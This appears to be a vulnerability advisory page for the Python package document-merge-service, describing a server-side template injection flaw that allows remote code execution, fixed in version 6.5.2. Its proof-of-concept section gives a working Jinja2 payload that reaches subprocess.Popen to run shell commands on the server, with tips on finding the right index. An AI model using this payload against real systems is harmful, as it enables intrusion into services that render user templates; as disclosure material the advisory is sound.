High

document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

  • Disclosed: 11.06.2024
  • Updated: 11.10.2026 13:18

Impact

What kind of vulnerability is it? Who is impacted?

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

Patches

Has the problem been patched? What versions should users upgrade to?

It has been patched in v6.5.2

References

Are there any links users can visit to find out more?

POC

Add the following to a document, upload and render it:

jinja2
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

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Affected software

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PlatformPackageVulnerable versionsFixed in
Python (PyPI) document-merge-service < 6.5.2 6.5.2

References

CVSS score 7.2/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-1336
Platform
Python (PyPI)
Package
document-merge-service
Disclosed
11.06.2024
Updated
11.10.2026 13:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1314 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-v5gf-r78h-55q6 - CC BY 4.0

Vulnerability history: document-merge-service

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
2
First → latest
06.2024 08.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 2

Disclosures per year

  1. 2024: 1
  2. 2025: 0
  3. 2026: 1
  1. document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection this entry
    High · 7.2 CVE-2024-37301 < 6.5.2 6.5.2

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